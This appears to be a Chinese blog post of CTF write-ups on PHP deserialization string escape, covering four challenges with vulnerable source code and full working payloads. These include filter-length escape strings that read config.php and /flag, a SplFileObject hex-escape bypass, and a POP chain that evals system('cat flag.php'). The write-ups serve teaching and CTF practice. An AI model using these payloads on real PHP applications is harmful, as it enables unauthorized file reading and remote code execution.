PHP反序列化字符串逃逸

PHP反序列化字符串逃逸


提示:写完文章后,目录可以自动生成,如何生成可参考右边的帮助文档

文章目录

  • PHP反序列化字符串逃逸
  • 前言
  • 一、关于反序列化和序列化
  • 二、[0ctf 2016]unserialize
  • 二、prize_p5[NSSCTF]
  • 三、[UUCTF 2022 新生赛]ezpop
  • 四、[安洵杯 2019]easy_serialize_php


前言

例如:最近日常刷题玩的时候,做到了PHP反序列化字符串逃逸类型的题目,想了想之前好像也有类似的题,好像还挺常见到的,一起拿出来,记录一下。


一、关于反序列化和序列化

  1. 之所以有反序列化和序列化这种东西,是因为当程序执行结束的时候,内存会进行销毁释放空间,序列化能够将要保存的数据转换成有一定格式的字符串,无论是保存起来还是传输起来都更加便捷,而反序列化就是将序列化的数据恢复成最原先的样子。
  2. 那么PHP在反序列化的时候,是以;作为分隔点,}作为结束标志的,根据长度来判断要读取多少个字符串,假如在程序执行时,能够使得反序列化字符串增加或者减少,然后通过恶意构造,就会使得数据发生变化,反序列化吞或者吐了一些数据,造成了漏洞。

二、[0ctf 2016]unserialize

  1. 进入题目
    PHP反序列化字符串逃逸_第1张图片

只有一个登录页面,没啥思路,直接扫了一波目录

PHP反序列化字符串逃逸_第2张图片

访问www.zip能直接得到源码,同时通过register.php可以注册用户,update.php可以更新用户的信息,profile.php显示用户的信息,随便注册个用户,传点信息看看。

PHP反序列化字符串逃逸_第3张图片

图片显示这里显然有点端倪,将数据base64后读取到了页面,应该这里是解题的入口点,由于透露了www.zip,所以可以直接看一波源代码。

  1. 关键源码
    (1)profile.php

	require_once('class.php');
	if($_SESSION['username'] == null) {
		die('Login First');	
	}
	$username = $_SESSION['username'];
	$profile=$user->show_profile($username);
	if($profile  == null) {
		header('Location: update.php');
	}
	else {
		$profile = unserialize($profile);
		$phone = $profile['phone'];
		$email = $profile['email'];
		$nickname = $profile['nickname'];
		$photo = base64_encode(file_get_contents($profile['photo']));
?>
<!DOCTYPE html>
<html>
<head>
   <title>Profile</title>
   <link href="static/bootstrap.min.css" rel="stylesheet">
   <script src="static/jquery.min.js"></script>
   <script src="static/bootstrap.min.js"></script>
</head>
<body>
	<div class="container" style="margin-top:100px">  
		<img src="data:image/gif;base64,$photo; ?>" class="img-memeda " style="width:180px;margin:0px auto;">
		<h3>Hi <?php echo $nickname;?></h3>
		<label>Phone: <?php echo $phone;?></label>
		<label>Email: <?php echo $email;?></label>
	</div>
</body>
</html>
<?php
	}
?>

(2)class.php


require('config.php');

class user extends mysql{
	private $table = 'users';

	public function is_exists($username) {
		$username = parent::filter($username);

		$where = "username = '$username'";
		return parent::select($this->table, $where);
	}
	public function register($username, $password) {
		$username = parent::filter($username);
		$password = parent::filter($password);

		$key_list = Array('username', 'password');
		$value_list = Array($username, md5($password));
		return parent::insert($this->table, $key_list, $value_list);
	}
	public function login($username, $password) {
		$username = parent::filter($username);
		$password = parent::filter($password);

		$where = "username = '$username'";
		$object = parent::select($this->table, $where);
		if ($object && $object->password === md5($password)) {
			return true;
		} else {
			return false;
		}
	}
	public function show_profile($username) {
		$username = parent::filter($username);

		$where = "username = '$username'";
		$object = parent::select($this->table, $where);
		return $object->profile;
	}
	public function update_profile($username, $new_profile) {
		$username = parent::filter($username);
		$new_profile = parent::filter($new_profile);

		$where = "username = '$username'";
		return parent::update($this->table, 'profile', $new_profile, $where);
	}
	public function __tostring() {
		return __class__;
	}
}

class mysql {
	private $link = null;

	public function connect($config) {
		$this->link = mysql_connect(
			$config['hostname'],
			$config['username'], 
			$config['password']
		);
		mysql_select_db($config['database']);
		mysql_query("SET sql_mode='strict_all_tables'");

		return $this->link;
	}

	public function select($table, $where, $ret = '*') {
		$sql = "SELECT $ret FROM $table WHERE $where";
		$result = mysql_query($sql, $this->link);
		return mysql_fetch_object($result);
	}

	public function insert($table, $key_list, $value_list) {
		$key = implode(',', $key_list);
		$value = '\'' . implode('\',\'', $value_list) . '\''; 
		$sql = "INSERT INTO $table ($key) VALUES ($value)";
		return mysql_query($sql);
	}

	public function update($table, $key, $value, $where) {
		$sql = "UPDATE $table SET $key = '$value' WHERE $where";
		return mysql_query($sql);
	}

	public function filter($string) {
		$escape = array('\'', '\\\\');
		$escape = '/' . implode('|', $escape) . '/';
		$string = preg_replace($escape, '_', $string);

		$safe = array('select', 'insert', 'update', 'delete', 'where');
		$safe = '/' . implode('|', $safe) . '/i';
		return preg_replace($safe, 'hacker', $string);
	}
	public function __tostring() {
		return __class__;
	}
}
session_start();
$user = new user();
$user->connect($config);

(3)update.php


	require_once('class.php');
	if($_SESSION['username'] == null) {
		die('Login First');	
	}
	if($_POST['phone'] && $_POST['email'] && $_POST['nickname'] && $_FILES['photo']) {

		$username = $_SESSION['username'];
		if(!preg_match('/^\d{11}$/', $_POST['phone']))
			die('Invalid phone');

		if(!preg_match('/^[_a-zA-Z0-9]{1,10}@[_a-zA-Z0-9]{1,10}\.[_a-zA-Z0-9]{1,10}$/', $_POST['email']))
			die('Invalid email');
		
		if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)
			die('Invalid nickname');

		$file = $_FILES['photo'];
		if($file['size'] < 5 or $file['size'] > 1000000)
			die('Photo size error');

		move_uploaded_file($file['tmp_name'], 'upload/' . md5($file['name']));
		$profile['phone'] = $_POST['phone'];
		$profile['email'] = $_POST['email'];
		$profile['nickname'] = $_POST['nickname'];
		$profile['photo'] = 'upload/' . md5($file['name']);

		$user->update_profile($username, serialize($profile));
		echo 'Update Profile Success!Your Profile';
	}
	else {
?>
<!DOCTYPE html>
<html>
<head>
   <title>UPDATE</title>
   <link href="static/bootstrap.min.css" rel="stylesheet">
   <script src="static/jquery.min.js"></script>
   <script src="static/bootstrap.min.js"></script>
</head>
<body>
	<div class="container" style="margin-top:100px">  
		<form action="update.php" method="post" enctype="multipart/form-data" class="well" style="width:220px;margin:0px auto;"> 
			<img src="static/piapiapia.gif" class="img-memeda " style="width:180px;margin:0px auto;">
			<h3>Please Update Your Profile</h3>
			<label>Phone:</label>
			<input type="text" name="phone" style="height:30px"class="span3"/>
			<label>Email:</label>
			<input type="text" name="email" style="height:30px"class="span3"/>
			<label>Nickname:</label>
			<input type="text" name="nickname" style="height:30px" class="span3">
			<label for="file">Photo:</label>
			<input type="file" name="photo" style="height:30px"class="span3"/>
			<button type="submit" class="btn btn-primary">UPDATE</button>
		</form>
	</div>
</body>
</html>
<?php
	}
?>

依照上面的思路直接看图片那一部分,可以看到通过file_put_content()函数获取了图片传入的数据,并且在传入前对phone、email、nickname进行了反序列化,那么能不能控制photo的内容呢,好像不能,继续看看其它的。

	public function filter($string) {
		$escape = array('\'', '\\\\');
		$escape = '/' . implode('|', $escape) . '/';
		$string = preg_replace($escape, '_', $string);

		$safe = array('select', 'insert', 'update', 'delete', 'where');
		$safe = '/' . implode('|', $safe) . '/i';
		return preg_replace($safe, 'hacker', $string);
	}

此处发现对传入的string进行了filter函数的替换,能使字符串增加,那么能不能构造,使得photo的内容读取为某个文件,不再读取后面upload/路径内容,按照顺序,nickname似乎可以办到

		if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)
			die('Invalid nickname');

这里对nickname进行了长度限制,先得绕过这里才能传入nickname,使用数组便可以,strlen函数处理不了数组

  1. payload

a:4:{s:5:“phone”;s:11:“01234567890”;s:5:“email”;s:10:“[email protected]”;s:8:“nickname”;s:5:“aiwin”;s:5:“photo”;s:39:“upload/f3ccdd27d2000e3f9255a7e3e2c48800”;}
正常的传入的序列化字符串应当是这样的,这时我们要使photo为config.php读出flag,截断s:39:“upload/f3ccdd27d2000e3f9255a7e3e2c48800”;}的读取。
那么替换的值应当是";}s:5:“photo”;s:10:“config.php”;}这里一共34个字符,使用where替换成hacker时,会增加一个长度,因此34个where就会增加34个字符,使";}s:5:“photo”;s:10:“config.php”;}溢出,从而截断了upload后的读取,达到了读取config.php的效果。



function filter($string) {
    $escape = array('\'', '\\\\');
    $escape = '/' . implode('|', $escape) . '/';
    $string = preg_replace($escape, '_', $string);

    $safe = array('select', 'insert', 'update', 'delete', 'where');
    $safe = '/' . implode('|', $safe) . '/i';
    return preg_replace($safe, 'hacker', $string);
}

$profile = array(
    'phone'=>'01234567890',
    'email'=>'[email protected]',
    'nickname'=>array('wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}'),
    'photo'=>'upload/'.md5('1.jpg')
);
print_r(serialize($profile));
print_r(filter(serialize($profile)));
var_dump(unserialize(filter(serialize($profile))));
?>

输入如下:

a:4:{s:5:"phone";s:11:"01234567890";s:5:"email";s:10:"[email protected]";s:8:"nickname";a:1:{i:0;s:204:"wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}";}s:5:"photo";s:39:"upload/f3ccdd27d2000e3f9255a7e3e2c48800";}a:4:{s:5:"phone";s:11:"01234567890";s:5:"email";s:10:"123@qq.com";s:8:"nickname";a:1:{i:0;s:204:"hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker";}s:5:"photo";s:10:"config.php";}";}s:5:"photo";s:39:"upload/f3ccdd27d2000e3f9255a7e3e2c48800";}array(4) {
  ["phone"]=>
  string(11) "01234567890"
  ["email"]=>
  string(10) "[email protected]"
  ["nickname"]=>
  array(1) {
    [0]=>
    string(204) "hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker"
  }
  ["photo"]=>
  string(10) "config.php"
}

where变成hacker之后,增加了一个字符,由于原先确定的是204个字符,where变成hacker后刚好占了204个字符,所以导致后面34个字符即s:5:“photo”;s:10:“config.php”;}";}溢出,因为以}为尾,所以认为反序列化结束,后面的upload的内容自然就被丢弃。

PHP反序列化字符串逃逸_第4张图片
PHP反序列化字符串逃逸_第5张图片

二、prize_p5[NSSCTF]

  1. 进入题目直接给了源码

error_reporting(0);

class catalogue{
    public $class;
    public $data;
    public function __construct()
    {
        $this->class = "error";
        $this->data = "hacker";
    }
    public function __destruct()
    {
        echo new $this->class($this->data);
    }
}
class error{
    public function __construct($OTL)
    {
        $this->OTL = $OTL;
        echo ("hello ".$this->OTL);
    }
}
class escape{
    public $name = 'OTL';
    public $phone = '123666';
    public $email = '[email protected]';
}
function abscond($string) {
    $filter = array('NSS', 'CTF', 'OTL_QAQ', 'hello');
    $filter = '/' . implode('|', $filter) . '/i';
    return preg_replace($filter, 'hacker', $string);
}
if(isset($_GET['cata'])){
    if(!preg_match('/object/i',$_GET['cata'])){
        unserialize($_GET['cata']);
    }
    else{
        $cc = new catalogue();
        unserialize(serialize($cc));
    }
    if(isset($_POST['name'])&&isset($_POST['phone'])&&isset($_POST['email'])){
        if (preg_match("/flag/i",$_POST['email'])){
            die("nonono,you can not do that!");
        }
        $abscond = new escape();
        $abscond->name = $_POST['name'];
        $abscond->phone = $_POST['phone'];
        $abscond->email = $_POST['email'];
        $abscond = serialize($abscond);
        $escape = get_object_vars(unserialize(abscond($abscond)));
        if(is_array($escape['phone'])){
            echo base64_encode(file_get_contents($escape['email']));
        }
        else{
            echo "I'm sorry to tell you that you are wrong";
        }
    }
}
else{
    highlight_file(__FILE__);
}
?>

这题有两个解,作者预期解应该是通过反序列化的逃逸进行。

第一种解在于catalogue类:通过此类的销毁函数中利用原生类的读取flag。


class catalogue{
public $class;
public $data;
public function __construct()
{
$this->class = "SplFileObject";
$this->data = "flag";
}

}
$a=new catalogue();
echo serialize($a)

虽然传入的cata进行了object的过滤,但是可以使用\十六进制字符绕过
O:9:“catalogue”:2:{s:5:“class”;S:13:“SplFile\4fbject”;s:4:“data”;s:5:“/flag”;}
这里S表示可以十六进制,\x4f代笔十进制79,ASCII对应的就是O
PHP反序列化字符串逃逸_第6张图片
第二种反序列化解:

function abscond($string) {
    $filter = array('NSS', 'CTF', 'OTL_QAQ', 'hello');
    $filter = '/' . implode('|', $filter) . '/i';
    return preg_replace($filter, 'hacker', $string);
}

if(isset($_POST['name'])&&isset($_POST['phone'])&&isset($_POST['email'])){
        if (preg_match("/flag/i",$_POST['email'])){
            die("nonono,you can not do that!");
        }
        $abscond = new escape();
        $abscond->name = $_POST['name'];
        $abscond->phone = $_POST['phone'];
        $abscond->email = $_POST['email'];
        $abscond = serialize($abscond);
        $escape = get_object_vars(unserialize(abscond($abscond)));
        if(is_array($escape['phone'])){
            echo base64_encode(file_get_contents($escape['email']));
        }
        else{
            echo "I'm sorry to tell you that you are wrong";
        }
    }

在反序列化时,调用了abscond()对字符串进行替换,将NSS,CTF,OTL_QAQ,hello都替换成hacker,代码最后通过file_get_contents()获取email的数据并对email过滤了flag,因此这里可以通过字符串的逃逸影响email的内容,进而绕过flag,获取flag的值。由于这里phone必须是个数组,所以对name的值下手比较好。

首先是增加值:

对name构造,就需要让phone和email的值都溢出来,即字符串
“;s:5:“phone”;a:1:{i:0;i:1;}s:5:“email”;s:5:”/flag";}溢出,一共53个字符,NSS替换成hacker增加3个字符,所以17个NSS+2个hello刚好是53个字符。


class escape{
    public $name = 'NSSNSSNSSNSSNSSNSSNSSNSSNSSNSSNSSNSSNSSNSSNSSNSSNSShellohello";s:5:"phone";a:1:{i:0;i:1;}s:5:"email";s:5:"/flag";}';
    public $phone = '1';
    public $email = '1';
}
function abscond($string){
    $filter = array('NSS', 'CTF', 'OTL_QAQ', 'hello');
    $filter = '/' . implode('|', $filter) . '/i';
    return preg_replace($filter, 'hacker', $string);
}
$a = new escape();
$b= serialize($a);
echo $b;
echo PHP_EOL;
$c = abscond($b);
var_dump(unserialize($c));

PHP反序列化字符串逃逸_第7张图片

使值缩小也可以解


class escape{
    public $name = 'OTL_QAQOTL_QAQOTL_QAQOTL_QAQOTL_QAQOTL_QAQOTL_QAQOTL_QAQOTL_QAQOTL_QAQOTL_QAQOTL_QAQOTL_QAQOTL_QAQOTL_QAQOTL_QAQOTL_QAQOTL_QAQOTL_QAQOTL_QAQOTL_QAQ';
    public $phone = 'A";s:5:"phone";a:1:{i:0;i:1;}s:5:"email";s:5:"/flag";}';
    public $email = '1';
}
function abscond($string){
    return str_replace('OTL_QAQ', 'hacker', $string);
}
$a = new escape();
$b= serialize($a);
echo $b;
echo PHP_EOL;
$c = abscond($b);
echo $c;
echo PHP_EOL;
var_dump(unserialize($c));

相当于利用21个OTL_QAQ将长度为21的";s:5:“phone”;s:54:"A"给减少了。
PHP反序列化字符串逃逸_第8张图片

三、[UUCTF 2022 新生赛]ezpop

源码:


//flag in flag.php
error_reporting(0);
class UUCTF{
    public $name,$key,$basedata,$ob;
    function __construct($str){
        $this->name=$str;
    }
    function __wakeup(){
        if($this->key==="UUCTF"){
            $this->ob=unserialize(base64_decode($this->basedata));
        }
        else{
            die("oh!you should learn PHP unserialize String escape!");
        }
    }
}
class output{
    public $a;
    function __toString(){
        $this->a->rce();
    }
}
class nothing{
    public $a;
    public $b;
    public $t;
    function __wakeup(){
        $this->a="";
    }
    function __destruct(){
        $this->b=$this->t;
        die($this->a);
    }
}
class youwant{
    public $cmd;
    function rce(){
        eval($this->cmd);
    }
}
$pdata=$_POST["data"];
if(isset($pdata))
{
    $data=serialize(new UUCTF($pdata));
    $data_replace=str_replace("hacker","loveuu!",$data);
    unserialize($data_replace);
}else{
    highlight_file(__FILE__);
}

?>

传入data数据,用data数据初始化一个UUCTF类,然后将hacker替换成loveuu后进行反序列化,可以看到youwant类可以进行命令执行,所以整条Pop链:youwant_rce()->ouput_toString()->nothing_destruct()->UUCTF_wakeup(),入口为UUCTF的__wakeup函数,要将basedata的数据替换成Pop链的base64编码才能触发Pop链,现在可以控制的只有构造函数即name的数据。

正常的传入data序列化后为O:5:“UUCTF”:4:{s:4:“name”;s:5:“aiwin”;s:3:“key”;N;s:8:“basedata”;N;s:2:“ob”;N;}
现在也就是说要把 ";s:3:“key”;N;s:8:“basedata”;N;s:2:“ob”;N;}给顶出去,首先构造Pop链。


error_reporting(0);
class output{
    public $a;
}
class nothing{
    public $a;
    public $b;
    public $t;
}
class youwant{
    public $cmd="system('cat flag.php');";
}

$A=new nothing();
$A->a=&$A->b;
$A->t=new output();
$A->t->a=new youwant();
$basedata=base64_encode(serialize($A));

构造出了basedata,整条序列化后为O:5:“UUCTF”:4:{s:4:“name”;s:5:“UUCTF” ;s:3:“key”;s:5:“UUCTF”;s:8:“basedata”;s:176:“Tzo3OiJub3RoaW5nIjozOntzOjE6ImEiO047czoxOiJiIjtSOjI7czoxOiJ0IjtPOjY6Im91dHB1dCI6MTp7czoxOiJhIjtPOjc6InlvdXdhbnQiOjE6e3M6MzoiY21kIjtzOjIzOiJzeXN0ZW0oJ2NhdCBmbGFnLnBocCcpOyI7fX19”;s:2:“ob”;N;}";s:3:“key”;N;s:8:“basedata”;N;s:2:“ob”;N;}

“;s:8:“basedata”;s:176:“Tzo3OiJub3RoaW5nIjozOntzOjE6ImEiO047czoxOiJiIjtSOjI7czoxOiJ0IjtPOjY6Im91dHB1dCI6MTp7czoxOiJhIjtPOjc6InlvdXdhbnQiOjE6e3M6MzoiY21kIjtzOjIzOiJzeXN0ZW0oJ2NhdCBmbGFnLnBocCcpOyI7fX19”;s:2:“ob”;N;}一共236个字符,每有一个hacker替换,就会多吃一个字符,所以236个hacker刚好吃完,”;s:3:“key”;N;s:8:“basedata”;N;s:2:“ob”;N;}读取不到,完成了逃逸。

PHP反序列化字符串逃逸_第9张图片

原本1652要吃到19";s:2:“ob”;N;},但是替换成loveuu!后,就只能吃完hacker,因此后面构造的basedata逃逸出来了。

完整的payload:


error_reporting(0);
class output{
    public $a;
}
class nothing{
    public $a;
    public $b;
    public $t;
}
class youwant{
    public $cmd="system('cat flag.php');";
}

$A=new nothing();
$A->a=&$A->b;
$A->t=new output();
$A->t->a=new youwant();
$basedata=base64_encode(serialize($A));
echo strlen($basedata);
$str = '";s:3:"key";s:5:"UUCTF";s:8:"basedata";s:'.strlen($basedata).':"'.$basedata.'";s:2:"ob";N;}';
echo $str."\n";
$hacker='';
for($i=0;$i<strlen($str);$i++)
{
    $hacker.='hacker';
}
$payload = $hacker.$str;
echo $payload;
#O:5:"UUCTF":4:{s:4:"name";s:5:"aiwin";s:3:"key";N;s:8:"basedata";N;s:2:"ob";N;}
?>

四、[安洵杯 2019]easy_serialize_php

源码:



$function = @$_GET['f'];

function filter($img){
    $filter_arr = array('php','flag','php5','php4','fl1g');
    $filter = '/'.implode('|',$filter_arr).'/i';
    return preg_replace($filter,'',$img);
}


if($_SESSION){
    unset($_SESSION);
}

$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;

extract($_POST);

if(!$function){
    echo 'source_code';
}

if(!$_GET['img_path']){
    $_SESSION['img'] = base64_encode('guest_img.png');
}else{
    $_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}

$serialize_info = filter(serialize($_SESSION));

if($function == 'highlight_file'){
    highlight_file('index.php');
}else if($function == 'phpinfo'){
    eval('phpinfo();'); //d0g3_f1ag.php
}else if($function == 'show_image'){
//    var_dump($serialize_info);
    $userinfo = unserialize($serialize_info);
//    echo PHP_EOL;
//    var_dump($userinfo);
//    echo PHP_EOL;
//    echo base64_decode($userinfo['img']);
    echo file_get_contents(base64_decode($userinfo['img']));
}

首先从phpinfo里面可以得到flag位于d0g3_f1ag.php,因此目标明确,要通过file_get_content获取flag的值,所以要将userinfo[‘img’]的值变为d0g3_f1ag.php的base64编码,但是这里序列化的值是默认为guest_img.png的base64编码,所以需要逃逸。其次就是extract()覆盖变量,可以通过直接传入_SESSION[name]直接覆盖掉_SESSION[“user”]等值。

PHP反序列化字符串逃逸_第10张图片
那假如我们传自己定义的img的值看看:

;s:3:“img”;s:20:“ZDBnM19mMWFnLnBocA==”;}
PHP反序列化字符串逃逸_第11张图片
好像有反序列化逃逸的意思了,但是这里反序列化并不能成功,因为反序列化的字符不对,

所以可以试试

_SESSION[phpflag]=;s:3:“123”;s:3:“img”;s:20:“ZDBnM19mMWFnLnBocA==”;}
这样序列化后的值为
“a:2:{s:7:”“;s:50:”;s:3:“123”;s:3:“img”;s:20:“ZDBnM19mMWFnLnBocA==”;}“;s:3:“img”;s:20:“Z3Vlc3RfaW1nLnBuZw==”;}”
php和flag被替换为空,s:50被吃进去了,导致后面成为了对象逃逸了出去,造成了键逃逸,多余的";s:3:“img”;s:20:“Z3Vlc3RfaW1nLnBuZw==”;就被截断了。

PHP反序列化字符串逃逸_第12张图片
PHP反序列化字符串逃逸_第13张图片

你可能感兴趣的:(php,web安全)